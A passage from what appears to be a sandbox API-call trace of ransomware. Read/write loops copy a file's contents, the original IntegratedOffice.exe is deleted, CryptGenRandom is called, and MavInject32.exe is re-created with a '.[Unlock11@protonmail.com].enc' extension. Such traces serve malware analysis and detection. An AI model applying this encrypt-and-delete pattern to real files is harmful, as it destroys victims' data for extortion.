lpOverlapped=0x0) returned 1 [0118.131] GetLastError () returned 0x0 [0118.131] GetCurrentThreadId () returned 0x9b0 [0118.132] GetLastError () returned 0x0 [0118.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0118.132] GetLastError () returned 0x0 [0118.132] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.132] GetLastError () returned 0x0 [0118.132] GetCurrentThreadId () returned 0x9b0 [0118.132] GetLastError () returned 0x0 [0118.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.133] GetCurrentThreadId () returned 0x9b0 [0118.133] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265418 [0118.133] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265288 | out: hHeap=0x2ad0000) returned 1 [0118.133] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0118.133] GetLastError () returned 0x0 [0118.133] GetLastError () returned 0x0 [0118.133] GetLastError () returned 0x0 [0118.133] GetLastError () returned 0x0 [0118.133] GetCurrentThreadId () returned 0x9b0 [0118.134] GetLastError () returned 0x0 [0118.134] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.134] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0118.134] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0118.134] GetLastError () returned 0x0 [0118.134] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.134] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.135] GetLastError () returned 0x0 [0118.135] GetCurrentThreadId () returned 0x9b0 [0118.135] GetLastError () returned 0x0 [0118.136] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.136] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0118.136] GetLastError () returned 0x0 [0118.136] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.137] GetLastError () returned 0x0 [0118.138] GetCurrentThreadId () returned 0x9b0 [0118.138] GetLastError () returned 0x0 [0118.138] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.138] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653a8 [0118.138] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265418 | out: hHeap=0x2ad0000) returned 1 [0118.138] GetCurrentThreadId () returned 0x9b0 [0118.138] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0118.138] GetLastError () returned 0x0 [0118.139] GetLastError () returned 0x0 [0118.139] GetLastError () returned 0x0 [0118.139] GetLastError () returned 0x0 [0118.139] GetCurrentThreadId () returned 0x9b0 [0118.139] GetLastError () returned 0x0 [0118.139] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.139] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0118.139] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0118.139] GetLastError () returned 0x0 [0118.139] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.140] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.141] GetLastError () returned 0x0 [0118.141] GetCurrentThreadId () returned 0x9b0 [0118.141] GetLastError () returned 0x0 [0118.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.141] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0118.141] GetLastError () returned 0x0 [0118.141] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.142] GetLastError () returned 0x0 [0118.142] GetCurrentThreadId () returned 0x9b0 [0118.142] GetLastError () returned 0x0 [0118.142] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.142] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265448 [0118.142] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653a8 | out: hHeap=0x2ad0000) returned 1 [0118.142] GetCurrentThreadId () returned 0x9b0 [0118.142] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0118.142] GetLastError () returned 0x0 [0118.143] GetLastError () returned 0x0 [0118.143] GetLastError () returned 0x0 [0118.143] GetCurrentThreadId () returned 0x9b0 [0118.143] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.144] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.145] GetCurrentThreadId () returned 0x9b0 [0118.145] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.145] GetCurrentThreadId () returned 0x9b0 [0118.145] GetCurrentThreadId () returned 0x9b0 [0118.145] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0118.146] GetCurrentThreadId () returned 0x9b0 [0118.146] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.146] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.147] GetCurrentThreadId () returned 0x9b0 [0118.147] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.148] GetCurrentThreadId () returned 0x9b0 [0118.148] GetCurrentThreadId () returned 0x9b0 [0118.148] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0118.148] GetCurrentThreadId () returned 0x9b0 [0118.148] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.148] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.149] GetCurrentThreadId () returned 0x9b0 [0118.150] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.150] GetCurrentThreadId () returned 0x9b0 [0118.150] GetCurrentThreadId () returned 0x9b0 [0118.150] GetCurrentThreadId () returned 0x9b0 [0118.150] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.151] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.151] GetCurrentThreadId () returned 0x9b0 [0118.152] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0xae80, lpOverlapped=0x0) returned 1 [0118.162] ReadFile (in: hFile=0x39c, lpBuffer=0x35d079c, nNumberOfBytesToRead=0x5000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35d079c*, lpNumberOfBytesRead=0x9bb520*=0x0, lpOverlapped=0x0) returned 1 [0118.162] GetCurrentThreadId () returned 0x9b0 [0118.162] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xae95) returned 0x35c5908 [0118.162] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.163] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653a8 [0118.163] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653c8 | out: hHeap=0x2ad0000) returned 1 [0118.163] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xae98) returned 0x36f8548 [0118.163] GetCurrentThreadId () returned 0x9b0 [0118.163] GetCurrentThreadId () returned 0x9b0 [0118.163] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.166] WriteFile (in: hFile=0x3ac, lpBuffer=0x37043dc*, nNumberOfBytesToWrite=0x9000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37043dc*, lpNumberOfBytesWritten=0x9b9a80*=0x9000, lpOverlapped=0x0) returned 1 [0118.167] GetCurrentThreadId () returned 0x9b0 [0118.167] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x0, lpOverlapped=0x0) returned 1 [0118.167] GetCurrentThreadId () returned 0x9b0 [0118.168] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0xea0, lpNumberOfBytesWritten=0x9b9a0c, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a0c*=0xea0, lpOverlapped=0x0) returned 1 [0118.168] CloseHandle (hObject=0x3ac) returned 1 [0118.168] GetCurrentThreadId () returned 0x9b0 [0118.168] CloseHandle (hObject=0x39c) returned 1 [0118.168] GetCurrentThreadId () returned 0x9b0 [0118.168] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 1 [0118.170] GetCurrentThreadId () returned 0x9b0 [0118.170] GetCurrentThreadId () returned 0x9b0 [0118.170] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe", lpFilePart=0x9bada4*="MavInject32.exe") returned 0x49 [0118.170] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0118.170] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0118.170] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0118.170] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0118.170] GetCurrentThreadId () returned 0x9b0 [0118.171] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea0c0 [0118.171] GetCurrentThreadId () returned 0x9b0 [0118.171] GetCurrentThreadId () returned 0x9b0 [0118.171] GetCurrentThreadId () returned 0x9b0 [0118.171] GetCurrentThreadId () returned 0x9b0 [0118.171] GetCurrentThreadId () returned 0x9b0 [0118.171] GetCurrentThreadId () returned 0x9b0 [0118.171] GetCurrentThreadId () returned 0x9b0 [0118.171] GetCurrentThreadId () returned 0x9b0 [0118.171] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b8a5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b8a5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xa2e72000, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x578d8)) returned 1 [0118.172] GetCurrentThreadId () returned 0x9b0 [0118.172] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a624 | out: pbBuffer=0x366a624) returned 1 [0118.172] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0118.172] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0118.172] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0118.173] GetCurrentThreadId () returned 0x9b0 [0118.173] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea2c8 [0118.173] GetCurrentThreadId () returned 0x9b0 [0118.173] GetCurrentThreadId () returned 0x9b0 [0118.174] GetCurrentThreadId () returned 0x9b0 [0118.174] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0118.174] GetFileType (hFile=0x39c) returned 0x1 [0118.174] GetLastError () returned 0x0 [0118.174] GetCurrentThreadId () returned 0x9b0 [0118.174] GetLastError () returned 0x0 [0118.175] GetFileType (hFile=0x39c) returned 0x1 [0118.175] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0118.175] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0118.175] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0118.175] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0118.175] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0118.175] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0118.175] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0118.175] GetLastError () returned 0x0 [0118.175] GetCurrentThreadId () returned 0x9b0 [0118.175] GetLastError () returned 0x0 [0118.175] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265328 | out: hHeap=0x2ad0000) returned 1 [0118.175] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2358 | out: hHeap=0x2ad0000) returned 1 [0118.176] GetLastError () returned 0x0 [0118.176] GetLastError () returned 0x0 [0118.176] GetLastError () returned 0x0 [0118.176] GetLastError () returned 0x0 [0118.176] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0118.176] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32652e8 [0118.176] GetLastError () returned 0x0 [0118.176] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0118.177] GetFileType (hFile=0x3ac) returned 0x1 [0118.177] GetLastError () returned 0x0 [0118.177] GetCurrentThreadId () returned 0x9b0 [0118.177] GetLastError () returned 0x0 [0118.177] GetFileType (hFile=0x3ac) returned 0x1 [0118.177] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0118.177] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0118.177] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0118.177] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0118.177] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0118.177] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0118.177] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0118.177] GetLastError () returned 0x0 [0118.178] GetCurrentThreadId () returned 0x9b0 [0118.178] GetLastError () returned 0x0 [0118.178] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652e8 | out: hHeap=0x2ad0000) returned 1 [0118.178] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19818 | out: hHeap=0x2ad0000) returned 1 [0118.178] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0118.178] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0118.178] GetLastError () returned 0x0 [0118.178] GetLastError () returned 0x0 [0118.178] GetCurrentThreadId () returned 0x9b0 [0118.178] GetLastError () returned 0x0 [0118.178] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0118.179] GetLastError () returned 0x0 [0118.179] GetLastError () returned 0x0 [0118.179] GetCurrentThreadId () returned 0x9b0 [0118.179] GetLastError () returned 0x0 [0118.179] GetLastError () returned 0x0 [0118.179] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.181] GetLastError () returned 0x0 [0118.181] GetCurrentThreadId () returned 0x9b0 [0118.181] GetLastError () returned 0x0 [0118.181] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653c8 | out: hHeap=0x2ad0000) returned 1 [0118.182] GetCurrentThreadId () returned 0x9b0 [0118.182] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0118.182] GetLastError () returned 0x0 [0118.182] GetLastError () returned 0x0 [0118.182] GetLastError () returned 0x0 [0118.182] GetLastError () returned 0x0 [0118.183] GetCurrentThreadId () returned 0x9b0 [0118.183] GetLastError () returned 0x0 [0118.183] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.183] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0118.183] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0118.183] GetLastError () returned 0x0 [0118.183] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.184] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.185] GetLastError () returned 0x0 [0118.185] GetCurrentThreadId () returned 0x9b0 [0118.185] GetLastError () returned 0x0 [0118.185] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.185] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0118.186] GetLastError () returned 0x0 [0118.186] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.186] GetLastError () returned 0x0 [0118.187] GetCurrentThreadId () returned 0x9b0 [0118.187] GetLastError () returned 0x0 [0118.187] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.187] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265308 [0118.187] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265328 | out: hHeap=0x2ad0000) returned 1 [0118.187] GetCurrentThreadId () returned 0x9b0 [0118.187] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0118.187] GetLastError () returned 0x0 [0118.187] GetLastError () returned 0x0 [0118.188] GetLastError () returned 0x0 [0118.188] GetLastError () returned 0x0 [0118.188] GetCurrentThreadId () returned 0x9b0 [0118.188] GetLastError () returned 0x0 [0118.188] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.188] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0118.188] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0118.188] GetLastError () returned 0x0 [0118.188] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.189] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.190] GetLastError () returned 0x0 [0118.190] GetCurrentThreadId () returned 0x9b0 [0118.190] GetLastError () returned 0x0 [0118.190] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.190] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0118.190] GetLastError () returned 0x0 [0118.190] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.192] GetLastError () returned 0x0 [0118.192] GetCurrentThreadId () returned 0x9b0 [0118.192] GetLastError () returned 0x0 [0118.192] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.192] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265348 [0118.192] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265308 | out: hHeap=0x2ad0000) returned 1 [0118.192] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0118.193] GetCurrentThreadId () returned 0x9b0 [0118.193] GetLastError () returned 0x0 [0118.193] GetLastError () returned 0x0 [0118.193] GetLastError () returned 0x0 [0118.193] GetLastError () returned 0x0 [0118.193] GetCurrentThreadId () returned 0x9b0 [0118.193] GetLastError () returned 0x0 [0118.193] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.194] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0118.194] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, 